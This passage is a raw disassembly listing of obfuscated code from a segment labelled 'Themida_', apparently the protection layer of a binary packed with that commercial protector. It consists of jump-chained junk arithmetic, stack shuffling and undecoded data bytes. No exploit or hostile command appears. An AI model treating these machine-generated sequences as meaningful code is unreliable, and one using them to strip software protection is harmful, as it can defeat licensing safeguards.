CODE XREF: Themida_:0059897Ej neg eax add eax, 8430C06Dh mov edi, eax pop eax add ecx, 5DF60ACAh add ecx, edi sub ecx, 5DF60ACAh mov edi, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] push eax push edx mov edx, 556C091Dh jmp loc_5AC042 ; --------------------------------------------------------------------------- db 42h, 0Fh, 8Fh dd 0FFFFA8D8h, 2BBC281h, 93E956D0h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A65EB: ; CODE XREF: Themida_:005A2C61j ; Themida_:loc_5A3225j mov ebp, 6EA8753Eh add [esp+8], ebp pop ebp pop eax pop eax push 668Ch mov [esp], ecx mov ecx, 3F6F0241h add eax, ecx jmp loc_5AEFDE ; --------------------------------------------------------------------------- db 89h dd 9D682404h, 0E947A21Eh, 66BDh ; --------------------------------------------------------------------------- loc_5A6618: ; CODE XREF: Themida_:0059F8F4j add esp, 4 jmp loc_59BE9F ; --------------------------------------------------------------------------- loc_5A6623: ; CODE XREF: Themida_:0059A62Ej push small word ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 24041058h, 1D52E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A663A: ; CODE XREF: Themida_:005AB5C1j mov [esp], ecx mov ecx, 22201663h shl ecx, 3 dec ecx jle loc_5993AC dec ecx jl loc_59A03A jmp loc_5997D7 ; --------------------------------------------------------------------------- dd 24048F54h, 4240481h, 8F000000h, 4812404h, 424h, 2434FF00h dd 63E9515Fh, 4DFFFF3Ah, 0CDD42D95h, 0C601FC22h, 8124048Bh dd 4C4h, 5EF30100h, 4C381h, 1C870000h, 88E95C24h, 83FFFF4Bh dd 9C6804C4h, 89000020h, 0EC81242Ch, 4, 24048F54h, 4240483h dd 3E9515Dh, 5BFFFF30h, 0FF4A85E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A66C1: ; CODE XREF: Themida_:0059DCADj and ebp, esi push dword ptr [esp] pop esi push edi push esp pop edi add edi, 4 jmp loc_5AF151 ; --------------------------------------------------------------------------- loc_5A66D5: ; CODE XREF: Themida_:005A7A30j sub eax, 0CF448420h xor ebp, eax jmp loc_5A8197 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 185D6824h, 1C890000h, 81E38924h, 4ECh, 24048900h, 7D7DE9h db 0 ; --------------------------------------------------------------------------- loc_5A66FD: ; CODE XREF: Themida_:0059BC7Cj push ebp mov ebp, esp push ebp push esp pop ebp add ebp, 4 push ebx jmp loc_5A46A4 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF1C78h, 240C8B66h, 3B2AE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A671E: ; CODE XREF: Themida_:00598F3Ej shl edi, 6 xor edi, 7155B059h xor eax, edi jmp loc_5A8F8A ; --------------------------------------------------------------------------- loc_5A672E: ; CODE XREF: Themida_:loc_59C133j xor ebx, 187B5BD3h mov ebp, ebx pop ebx jmp loc_5AD9EC ; --------------------------------------------------------------------------- loc_5A673C: ; CODE XREF: Themida_:005A3A34j add esp, 4 sub ecx, esi add ecx, 52A00D56h push eax mov eax, 0F7E7FB8h sub eax, 4AAA0B07h or eax, 3A5508C2h dec eax inc eax add eax, 6C0EFCFEh jmp loc_5A73B4 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 6FBEh ; --------------------------------------------------------------------------- loc_5A676C: ; CODE XREF: Themida_:005A7AA4j mov ebx, esp add ebx, 4 push ebp mov ebp, 4 sub ebx, ebp pop ebp push ebx push dword ptr [esp+4] jmp loc_5A3339 ; --------------------------------------------------------------------------- loc_5A6787: ; CODE XREF: Themida_:005AE15Fj add esp, 4 push 3FA3h mov [esp], edx mov dh, bl mov [edi+eax*4+1], dh jmp loc_5A399C ; --------------------------------------------------------------------------- loc_5A67A0: ; CODE XREF: Themida_:0059C9B1j ; Themida_:0059F68Bj xor ecx, 5F6F0FFBh jmp loc_599982 ; --------------------------------------------------------------------------- loc_5A67AB: ; CODE XREF: Themida_:loc_598F13j jmp loc_5A438B ; --------------------------------------------------------------------------- loc_5A67B0: ; CODE XREF: Themida_:0059A4D7j mov edi, 0FFFFFFFFh add ecx, edi pop edi push edi mov edi, 17F625D7h xor edi, 508F2EC6h add ecx, edi mov edi, [esp] add esp, 4 jmp loc_5AE135 ; --------------------------------------------------------------------------- loc_5A67D4: ; CODE XREF: Themida_:005ABD9Cj add esi, 1AFC3C81h jmp loc_5AA1E6 ; --------------------------------------------------------------------------- loc_5A67DF: ; CODE XREF: Themida_:005A8D03j shl dh, 6 neg dh sub dh, 6Eh push eax mov al, dh jmp loc_5AC64C ; --------------------------------------------------------------------------- loc_5A67EF: ; CODE XREF: Themida_:005A371Fj push edx mov edx, esp add edx, 4 jmp loc_5AEBF0 ; --------------------------------------------------------------------------- loc_5A67FD: ; CODE XREF: Themida_:0059E235j mov edx, [esp] jmp loc_5ACFBA ; --------------------------------------------------------------------------- loc_5A6805: ; CODE XREF: Themida_:005A9A68j mov edi, 1AEC7EA0h push 2B7FA1B5h pop eax add eax, edi mov edi, [esp] add esp, 4 mov ebx, eax mov eax, [esp] jmp loc_599FEB ; --------------------------------------------------------------------------- loc_5A6822: ; CODE XREF: Themida_:005AEA5Ej neg ecx sub ecx, 3FE78514h jmp loc_5ADA23 ; --------------------------------------------------------------------------- loc_5A682F: ; CODE XREF: Themida_:005A9515j add cl, dl pop edx sub al, 0CCh add al, 0D1h sub al, 3Fh jmp loc_5A1A97 ; --------------------------------------------------------------------------- loc_5A683D: ; CODE XREF: Themida_:0059B75Dj xor ebx, edx jmp loc_5A4821 ; --------------------------------------------------------------------------- loc_5A6844: ; CODE XREF: Themida_:005A4EB3j sub cl, 72h add dl, cl pop ecx sub dl, 24h sub dl, 68h add dl, cl add dl, 68h add dl, 24h sub dl, 70h jmp loc_5A9111 ; --------------------------------------------------------------------------- loc_5A6860: ; CODE XREF: Themida_:005A7B83j xchg ebp, [esp] jmp loc_59C5A8 ; --------------------------------------------------------------------------- loc_5A6868: ; CODE XREF: Themida_:005A3889j mul ecx push 76BDh mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_59954C ; --------------------------------------------------------------------------- loc_5A688E: ; CODE XREF: Themida_:005AB796j sub dword ptr [esp+4], 69D567A5h add [esp+4], edx push eax mov eax, 69D567A5h jmp loc_599555 ; --------------------------------------------------------------------------- loc_5A68A5: ; CODE XREF: Themida_:005A1808j mov edx, 794D6018h jmp loc_59CBF5 ; --------------------------------------------------------------------------- db 89h dd 0CB015EF1h, 3D8EE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A68BA: ; CODE XREF: Themida_:0059DF87j push edi xor dword ptr [esp], 236729BCh pop ebx xor ebx, 236729BCh mov edi, [esp] add esp, 4 add ebx, edx mov [ebx], al mov ebx, [esp] add esp, 4 mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop ebx jmp loc_59D0C1 ; --------------------------------------------------------------------------- loc_5A68F8: ; CODE XREF: Themida_:005A8B00j pop ecx and dl, 8Fh xor dl, 62h mov bh, dl mov edx, [esp] add esp, 4 xor al, bh jmp loc_59E932 ; --------------------------------------------------------------------------- loc_5A6911: ; CODE XREF: Themida_:005A9EB7j jmp loc_5988F1 ; --------------------------------------------------------------------------- loc_5A6916: ; CODE XREF: Themida_:loc_5A9B95j jmp loc_5A9CD0 ; --------------------------------------------------------------------------- loc_5A691B: ; CODE XREF: Themida_:005A9A29j add ecx, edx add dword ptr [ecx], 1 pop ecx pop edx jmp loc_5990A9 ; --------------------------------------------------------------------------- dw 0C281h dd 45626E6Fh, 2414335Fh, 33241431h, 248B2414h, 0E6895624h dd 7FF5E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6946: ; CODE XREF: Themida_:005ACBD8j push ebx mov bl, 89h mov ch, 0E4h add ch, bl jmp loc_599F44 ; --------------------------------------------------------------------------- loc_5A6952: ; CODE XREF: Themida_:loc_5A96D5j xor eax, 6ABF3E62h mov esi, eax push dword ptr [esp] pop eax jmp loc_5A3AFB ; --------------------------------------------------------------------------- loc_5A6962: ; CODE XREF: Themida_:005AEF57j xor edx, 2DD67E54h mov eax, edx jmp loc_59F194 ; --------------------------------------------------------------------------- db 59h dd 0FF2810E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A6975: ; CODE XREF: Themida_:0059B708j ; Themida_:005A1537j neg eax jmp loc_59D3EE ; --------------------------------------------------------------------------- loc_5A697C: ; CODE XREF: Themida_:005AB3F0j add ebx, edi sub ebx, 47ED53A3h mov edi, [esp] add esp, 4 xor ebx, edx xor edx, ebx jmp loc_59D3A9 ; --------------------------------------------------------------------------- loc_5A6993: ; CODE XREF: Themida_:005AE185j sub edi, 22F2765Eh add edi, ebp add edi, 22F2765Eh pop ebp sub esp, 4 mov [esp], ecx mov ecx, 2 push eax mov eax, 60D41C9h xor eax, 6E812701h jmp loc_59AEBB ; --------------------------------------------------------------------------- loc_5A69C0: ; CODE XREF: Themida_:005A8C3Aj mov esi, 4 add eax, esi mov esi, [esp] push edx mov edx, esp add edx, 4 jmp loc_5A6D2E ; --------------------------------------------------------------------------- loc_5A69D8: ; CODE XREF: Themida_:00598898j jmp loc_5AABB3 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4C2h, 24148700h, 0E9C9FE5Ch, 6A0h, 6E8C159h dd 0E902E8C1h, 0B36h, 466368h, 240C8900h, 268h, 5227E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6A12: ; CODE XREF: Themida_:005A1111j pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A6A18: ; CODE XREF: Themida_:0059B5BFj xor ecx, 59158BCh add eax, ecx jmp loc_5A0B30 ; --------------------------------------------------------------------------- loc_5A6A25: ; CODE XREF: Themida_:0059D927j ; Themida_:005A7884j sub edi, ebp jmp loc_5A6A4D ; --------------------------------------------------------------------------- loc_5A6A2C: ; CODE XREF: Themida_:0059E926j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5A42C6 ; --------------------------------------------------------------------------- loc_5A6A3E: ; CODE XREF: Themida_:0059A86Dj pop esp mov [esp], ebx mov ebx, 44222552h push ecx jmp loc_5A79C1 ; --------------------------------------------------------------------------- loc_5A6A4D: ; CODE XREF: Themida_:005A6A27j sub edi, 122D5E05h pop ebp add edi, 3D6E12A5h jmp loc_59FB83 ; --------------------------------------------------------------------------- loc_5A6A5F: ; CODE XREF: Themida_:0059C9C0j mov edx, eax mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop edi xor esi, edx push dword ptr [esp] pop edx push edi mov edi, esp jmp loc_5A374E ; --------------------------------------------------------------------------- loc_5A6A86: ; CODE XREF: Themida_:005ACC73j mov eax, esp add eax, 4 jmp loc_5A13F9 ; --------------------------------------------------------------------------- loc_5A6A92: ; CODE XREF: Themida_:005A3DE9j add ebp, 4 xchg ebp, [esp] jmp loc_59F2BB ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aYsi db 'Yι¨,',0 align 2 loc_5A6AA6: ; CODE XREF: Themida_:005A1031j pop eax jmp loc_5A977A ; --------------------------------------------------------------------------- loc_5A6AAC: ; CODE XREF: Themida_:0059BD34j sub esi, ebp add esi, 1A85B64h pop ebp mov edx, esi mov esi, [esp] add esp, 4 not edx jmp loc_5AA97F ; --------------------------------------------------------------------------- dd 592C281h, 0C20131B0h, 592EA81h, 41E931B0h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6AD7: ; CODE XREF: Themida_:005A6302j sub edx, ebp push esi mov esi, 7733893h jmp loc_59D147 ; --------------------------------------------------------------------------- loc_5A6AE4: ; CODE XREF: Themida_:0059BFE8j shr edx, 8 jp loc_5A8AC7 push ecx jmp loc_5AB20C ; --------------------------------------------------------------------------- db 68h dd 6751h, 0FFD21FE9h, 126851FFh, 594C320Fh, 0FFD03DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A6B09: ; CODE XREF: Themida_:0059EE8Dj xchg edi, ecx sub ecx, 18562EE4h jmp loc_598CC4 ; --------------------------------------------------------------------------- loc_5A6B16: ; CODE XREF: Themida_:005A3852j add ebx, eax pop eax dec ebx jle loc_5A3D82 add ebx, 0F5A70B16h push edi mov edi, ebx mov eax, edi mov edi, [esp] jmp loc_5AB996 ; --------------------------------------------------------------------------- loc_5A6B33: ; CODE XREF: Themida_:0059E833j pop dword ptr [esp] mov esp, [esp] jmp loc_59EAF6 ; --------------------------------------------------------------------------- loc_5A6B3E: ; CODE XREF: Themida_:0059DCE5j mov [esp], edx jmp loc_5A5DF1 ; --------------------------------------------------------------------------- loc_5A6B46: ; CODE XREF: Themida_:005AE977j sub ebx, ebp jmp loc_5A0938 ; --------------------------------------------------------------------------- loc_5A6B4D: ; CODE XREF: Themida_:005A7D0Bj xor ecx, [esp] xor [esp], ecx jmp loc_5A3A05 ; --------------------------------------------------------------------------- loc_5A6B58: ; CODE XREF: Themida_:005A2D88j add cl, 0F8h add cl, dh push ebx jmp loc_5A53B5 ; --------------------------------------------------------------------------- loc_5A6B63: ; CODE XREF: Themida_:005A09B5j push dword ptr [esp] pop edx add esp, 4 and eax, ecx pop ecx push dword ptr [edi+1Ch] jmp loc_59AAFA ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aS_6 db '$ιΣ',0Dh,0 align 2 dw 0F501h dd 0AE7E9h db 0 ; --------------------------------------------------------------------------- loc_5A6B85: ; CODE XREF: Themida_:0059A677j ; Themida_:0059CA71j push edx push 5EE1151Ah pop edx sub edx, 702F4B2Fh jnz loc_59D31C xor edx, 0EEB1C9E9h jmp loc_59CC81 ; --------------------------------------------------------------------------- db 5Fh ; --------------------------------------------------------------------------- loc_5A6BA4: ; CODE XREF: Themida_:005A390Dj xor eax, ecx push 8Fh jmp loc_59E387 ; --------------------------------------------------------------------------- loc_5A6BB0: ; CODE XREF: Themida_:loc_5AB6EEj xor edx, 4A9E9949h push 6660h jmp loc_59DB55 ; --------------------------------------------------------------------------- dd 4C481h, 0B6E90000h, 66FFFFB4h, 0E9240C8Bh, 7E05h, 31240433h dd 4332404h, 24248B24h, 0FFD0D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A6BE5: ; CODE XREF: Themida_:0059D69Bj mov edx, 7A860A0Bh shr edx, 5 or edx, 7B6D1E4Fh shr edx, 1 sub edx, 0FFFFFFFFh neg edx add edx, 0A031A6ABh add esi, edx push dword ptr [esp] jmp loc_5A4954 ; --------------------------------------------------------------------------- loc_5A6C0D: ; CODE XREF: Themida_:005A632Bj shl eax, 2 jmp loc_5A9D85 ; --------------------------------------------------------------------------- loc_5A6C15: ; CODE XREF: Themida_:005AB406j add edi, ebx pop ebx jmp loc_5A0231 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 3FCE9h db 0 ; --------------------------------------------------------------------------- loc_5A6C25: ; CODE XREF: Themida_:005A870Ej sub al, dh jmp loc_5A3E3B ; --------------------------------------------------------------------------- loc_5A6C2C: ; CODE XREF: Themida_:005A3434j jnp loc_5A9FB0 and esi, 397391Bh jmp loc_59E41D ; --------------------------------------------------------------------------- loc_5A6C3D: ; CODE XREF: Themida_:loc_59E850j jmp loc_5A87BE ; --------------------------------------------------------------------------- loc_5A6C42: ; CODE XREF: Themida_:005A4EF2j mov [esp], ebx push ebx mov ebx, 0C15190Eh and ebx, 2A5A10D1h jmp loc_5AAD9E ; --------------------------------------------------------------------------- loc_5A6C56: ; CODE XREF: Themida_:loc_59A979j ; Themida_:005A3E7Aj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push edi push 0F241726h pop edi xor edi, 0F241722h push ebx push 7E2h mov [esp], ebp mov ebp, 1E7A6D52h mov ebx, 106A566Ch jmp loc_5AE92E ; --------------------------------------------------------------------------- loc_5A6C89: ; CODE XREF: Themida_:005AC921j mov edx, esi pop esi mov ebx, 2EEB1CF2h jmp loc_59A533 ; --------------------------------------------------------------------------- loc_5A6C96: ; CODE XREF: Themida_:005AA306j pop ecx add edi, 0F091B94h jmp loc_5997F6 ; --------------------------------------------------------------------------- loc_5A6CA2: ; CODE XREF: Themida_:005AEFB7j add ecx, 4 sub esp, 4 jmp loc_5A9479 ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h aHW db '$hΟw',0 align 2 dw 3C89h dd 2516E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A6CBE: ; CODE XREF: Themida_:005AB1CAj pop eax neg ecx jmp loc_5A2CCC ; --------------------------------------------------------------------------- loc_5A6CC6: ; CODE XREF: Themida_:0059A974j mov esi, ebx pop ebx add ebx, 50D6658h add ebx, esi push ecx mov ecx, 5A60EAAh and ecx, 38E07F79h sub ecx, 20FC0FFBh xor ecx, 0DAAE9875h jmp loc_5AC2E2 ; --------------------------------------------------------------------------- loc_5A6CEE: ; CODE XREF: Themida_:005A42FDj add edi, edx sub esp, 4 mov [esp], ebp mov ebp, 4B8D1DC4h sub edi, ebp mov ebp, [esp] add esp, 4 pop edx jmp loc_5AD960 ; --------------------------------------------------------------------------- loc_5A6D0C: ; CODE XREF: Themida_:0059BE92j add edi, esi pop esi xchg edi, [esp] mov esp, [esp] mov ax, [esp] jmp loc_5992B0 ; --------------------------------------------------------------------------- loc_5A6D1E: ; CODE XREF: Themida_:0059BE33j jnp loc_59EC21 push ecx mov ecx, 44296A9Ch and eax, ecx mov ebp, esi loc_5A6D2E: ; CODE XREF: Themida_:005A69D3j add edx, 4 jmp loc_5AC88B ; --------------------------------------------------------------------------- loc_5A6D39: ; CODE XREF: Themida_:005A3FEFj push 5A6h jmp loc_5A4C0D ; --------------------------------------------------------------------------- loc_5A6D43: ; CODE XREF: Themida_:005AA8E0j pop edx xor edx, eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A6D4B: ; CODE XREF: Themida_:005AC0F7j sub ah, 0C1h xor cl, ah pop eax add al, cl mov ecx, [esp] add esp, 4 jmp loc_59EAEE ; --------------------------------------------------------------------------- loc_5A6D61: ; CODE XREF: Themida_:0059F2B6j add ebx, 1 xor ebx, 720D7ABBh push 2B3Eh mov [esp], eax mov eax, 31B6B126h jmp loc_5AD2C8 ; --------------------------------------------------------------------------- loc_5A6D7F: ; CODE XREF: Themida_:005A08ECj mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx jmp loc_5ACE20 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D359669Dh, 0E99C2414h, 0FFFFB5E9h, 9459E95Dh, 0F181FFFFh dd 731126A7h, 0FF3382E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A6DB5: ; CODE XREF: Themida_:005AE59Ej pop edx xor ecx, eax mov eax, [esp] jmp loc_5A07A0 ; --------------------------------------------------------------------------- loc_5A6DC0: ; CODE XREF: Themida_:005A9B6Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A6DC5: ; CODE XREF: Themida_:0059D9CAj xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 4 add ecx, ebp mov ebp, [esp] push edi jmp loc_5A7575 ; --------------------------------------------------------------------------- loc_5A6DDC: ; CODE XREF: Themida_:0059EF62j sub eax, ecx pop ecx push edx mov edx, 4CD38CAh add eax, 545B15A0h sub eax, 3B54904h add eax, edx add eax, 3B54904h jmp loc_59FA9C ; --------------------------------------------------------------------------- db 83h dd 6FE904ECh, 0FF000008h, 685A2434h, 262Ch, 89242C89h dd 3CBA68E5h, 1C890000h, 7827BB24h, 0EB8150EAh, 1, 4D0AC381h dd 0C38115EFh, 729D746Ah, 0C66AC381h, 0DD012688h, 0FFDE80E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A6E3D: ; CODE XREF: Themida_:0059F829j pop ecx shr ecx, 5 xor ecx, 5CFD7A2Fh sub ecx, 312B7E6Dh and ecx, 129A3D7Ch push edi mov edi, 42933EFDh xor ecx, edi mov edi, [esp] add esp, 4 push 7DF9h mov [esp], ebp mov ebp, 3E3A0B60h push edx mov edx, 7A700002h dec edx jmp loc_5AE873 ; --------------------------------------------------------------------------- dw 4DE9h db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6E7F: ; CODE XREF: Themida_:005A5D88j push dword ptr [esp+4] push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_5A5902 ; --------------------------------------------------------------------------- loc_5A6E91: ; CODE XREF: Themida_:005A469Fj add al, dh pop edx jmp loc_5ADC20 ; --------------------------------------------------------------------------- loc_5A6E99: ; CODE XREF: Themida_:005A5CC8j pop edi add edx, edi sub edx, 442A2F2Dh jmp loc_5A5933 ; --------------------------------------------------------------------------- loc_5A6EA7: ; CODE XREF: Themida_:005AED31j mov dl, cl pop ecx jmp loc_5A57A6 ; --------------------------------------------------------------------------- db 59h dd 0E9E28952h, 0FFFFF398h, 55E78957h, 4BDh, 5DEF0100h dd 4BD55h, 0EF290000h, 243C875Dh, 2434895Ch, 2434FF54h dd 0E089505Eh, 405h, 40500h, 4870000h, 6D685C24h, 8900002Fh dd 0C5E9242Ch db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6EF7: ; CODE XREF: Themida_:005AC983j mov ebx, 32C43045h dec ebx dec ebx sub ebx, 23D5C9FBh sub ecx, ebx pop ebx sub ecx, ebx add ecx, 0EEE6648h mov ebx, [esp] add esp, 4 jmp loc_5A3F65 ; --------------------------------------------------------------------------- dw 248Bh dd 53525524h, 0BB5794BBh, 254CBA39h, 0DA3130E0h, 5A56525Bh dd 31EE315Eh, 0F7EE31F5h, 87EE87D5h, 0BBF281F2h, 817EC27Ah dd 66F798F2h, 8BD58988h, 89512414h, 4C181E1h, 0E9000000h dd 1EC9h ; --------------------------------------------------------------------------- loc_5A6F5C: ; CODE XREF: Themida_:005A0709j push eax jmp loc_5A8167 ; --------------------------------------------------------------------------- loc_5A6F62: ; CODE XREF: Themida_:005AB8DCj sub esp, 4 mov [esp], eax jmp loc_5A3912 ; --------------------------------------------------------------------------- loc_5A6F6D: ; CODE XREF: Themida_:005999D6j pop esi jmp loc_59D261 ; --------------------------------------------------------------------------- loc_5A6F73: ; CODE XREF: Themida_:005A4BD6j push 60A1h mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] push eax push 332Dh jmp loc_5A1023 ; --------------------------------------------------------------------------- db 68h, 8, 30h dd 21680000h, 89000065h, 4812424h, 424h, 24048F00h, 417568h dd 24348900h, 0C681E689h, 4, 5AEE955h, 815B0000h, 9A6F85E2h dd 0F7D2F763h, 51D168DAh, 34890000h, 6F3CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6FD2: ; CODE XREF: Themida_:005990C8j push dword ptr [esp] mov eax, [esp] jmp loc_59DCD9 ; --------------------------------------------------------------------------- db 89h, 0D7h, 5Ah dd 7DE9CF01h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6FE7: ; CODE XREF: Themida_:0059FBFDj xor edx, 7E5B4Dh jl loc_5A12E5 jmp loc_5986AE ; --------------------------------------------------------------------------- loc_5A6FF8: ; CODE XREF: Themida_:005ACDD0j xor edx, 7BCA0505h jnz loc_59924C xor edx, 0F2336367h jmp loc_59838C ; --------------------------------------------------------------------------- db 52h db 0B6h, 5Bh ; --------------------------------------------------------------------------- loc_5A7012: ; CODE XREF: Themida_:005A8986j mov [esp], edx push 0D976A22h pop edx push ebx jmp loc_5A8A86 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 52B82404h, 52591A4Fh, 1A4F4EBAh, 2B0559h dd 0A62D6EB4h, 293BB35Bh, 5BA605D0h, 0F1E93BB3h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A704B: ; CODE XREF: Themida_:005A4D1Aj sub eax, 50F101Bh sub eax, edi add eax, 50F101Bh jmp loc_5AC21A ; --------------------------------------------------------------------------- dd 458B0F4Eh, 0C1FFFFE6h, 0EE8106EEh, 0DCC57E8Ch db 46h, 8Ah, 0DAh ; --------------------------------------------------------------------------- loc_5A706F: ; CODE XREF: Themida_:005AD034j pop esp jmp loc_5A41DD ; --------------------------------------------------------------------------- loc_5A7075: ; CODE XREF: Themida_:005A8BF6j add esp, 4 push 36A1h jmp loc_5AA9FF ; --------------------------------------------------------------------------- dw 0F581h dd 5D952722h, 0FF97CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A708D: ; CODE XREF: Themida_:0059C23Bj add eax, ebx jmp loc_599B23 ; --------------------------------------------------------------------------- dd 2EC81h, 9E90000h, 0BF000001h, 7B381C15h, 8D8E9h db 0 ; --------------------------------------------------------------------------- loc_5A70A9: ; CODE XREF: Themida_:00598569j mov [esp], ebx mov bh, al sub esp, 4 mov [esp], edx push eax mov ah, bh mov dh, ah pop eax jmp loc_5A4053 ; --------------------------------------------------------------------------- loc_5A70C2: ; CODE XREF: Themida_:005A0723j push esi mov esi, 6D087A35h push 2674h jmp loc_5A5F60 ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFD79Ch ; --------------------------------------------------------------------------- loc_5A70D8: ; CODE XREF: Themida_:005AD656j push dword ptr [esp+4] jmp loc_59B1BD ; --------------------------------------------------------------------------- loc_5A70E1: ; CODE XREF: Themida_:0059F42Cj push edx mov dl, 7Eh xor dl, 64h not dl jmp loc_59D7A7 ; --------------------------------------------------------------------------- dw 0E189h dd 2503E9h db 0 ; --------------------------------------------------------------------------- loc_5A70F5: ; CODE XREF: Themida_:0059EAC5j add edx, 6E9C21B9h and edx, 41A05750h ja loc_59BB42 and edx, 213370EAh jmp loc_5AAF0A ; --------------------------------------------------------------------------- dw 0E681h dd 42117B0Ah, 7EE9DEF7h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A711F: ; CODE XREF: Themida_:0059B07Fj ; Themida_:005A1AFAj mov ebp, [esp] push 1CD5h mov [esp], edx jmp loc_5AA6D2 ; --------------------------------------------------------------------------- db 87h dd 2FE92404h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7137: ; CODE XREF: Themida_:005987E9j jmp loc_59A9FA ; --------------------------------------------------------------------------- loc_5A713C: ; CODE XREF: Themida_:005A1735j neg eax jmp loc_5A2424 ; --------------------------------------------------------------------------- loc_5A7143: ; CODE XREF: Themida_:0059FD68j ; Themida_:005AF27Dj add edi, 0BAFD87E0h add edx, edi pop edi xchg edx, [esp] mov esp, [esp] xor ebp, [esp] xor [esp], ebp jmp loc_5A517F ; --------------------------------------------------------------------------- loc_5A715D: ; CODE XREF: Themida_:loc_5A34F9j sub al, 90h jg loc_5AC6D0 xor al, 89h jnp loc_5AD5DA mov al, 6Dh mov ch, al loc_5A7171: ; CODE XREF: Themida_:0059BD7Ej xchg ebp, [esp] pop esp mov [esp], ebx push 2DF2h mov [esp], eax jmp loc_5A8155 ; --------------------------------------------------------------------------- loc_5A7185: ; CODE XREF: Themida_:005A990Aj jmp loc_5A2F4A ; --------------------------------------------------------------------------- loc_5A718A: ; CODE XREF: Themida_:005A15BCj add esp, 4 push 6ECh jmp loc_59DEC5 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 0E9000000h, 0EBBh, 24048966h, 0E9CA8852h dd 0FFFF3E0Ch ; --------------------------------------------------------------------------- loc_5A71B4: ; CODE XREF: Themida_:005A515Dj add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push edx mov edx, 6EEB136Ah jmp loc_5A13CA ; --------------------------------------------------------------------------- dw 0EC83h dd 0A34EE904h, 0E901FFFFh, 4D6ABD55h, 0BF57759Ch, 78035DF7h dd 0EF81DFF7h, 7B252238h, 815FFD31h, 723ED9C1h, 4B3FE97Ah dd 8F54FFFFh, 0BA522404h, 4, 4245401h, 0C3815B5Ah, 4, 3304C383h dd 1C31241Ch, 8933E924h, 0BA66FFFFh, 8966A1FCh, 665A66D5h dd 0CBE9C529h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A722F: ; CODE XREF: Themida_:0059CACCj pop ebp add eax, edx add eax, 565A2CD4h jmp loc_5A18F4 ; --------------------------------------------------------------------------- dd 5704C483h, 0D351B3BFh, 0EBCFE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A724A: ; CODE XREF: Themida_:0059CB61j add esp, 4 add bl, al push edx mov dl, 0F2h sub bl, dl pop edx movzx eax, al lea eax, [edi+eax*4] push 193h mov [esp], ebp mov ebp, esp jmp loc_5ABA82 ; --------------------------------------------------------------------------- loc_5A726A: ; CODE XREF: Themida_:0059BF83j shr bl, 4 add bl, 1 shl bl, 1 add bl, 0BEh add al, bl pop ebx pop ecx jmp loc_59D416 ; --------------------------------------------------------------------------- loc_5A727E: ; CODE XREF: Themida_:loc_5A6060j jmp loc_5AA037 ; --------------------------------------------------------------------------- loc_5A7283: ; CODE XREF: Themida_:005A0526j push 2C280AFDh pop edi sub esp, 4 mov [esp], edx mov edx, 44E82016h xor edi, edx mov edx, [esp] add esp, 4 push edx mov edx, 31CF5A65h or edi, edx pop edx shr edi, 6 jmp loc_5A2D59 ; --------------------------------------------------------------------------- loc_5A72B0: ; CODE XREF: Themida_:00599617j shl ecx, 3 add ecx, 0FFFFFFFFh jmp loc_59B5BC ; --------------------------------------------------------------------------- db 81h dd 4ECh, 0B2D5E900h, 48BFFFFh, 0E7895724h, 4C781h, 0C7810000h dd 4, 0FF420BE9h, 243C89FFh, 0F1E36BFh, 0F7BD551Eh, 810C9C3Dh dd 7308246Ch, 0E955FC46h, 0FFFF80FEh, 8244481h, 55FC4673h dd 247C015Dh, 246C8104h, 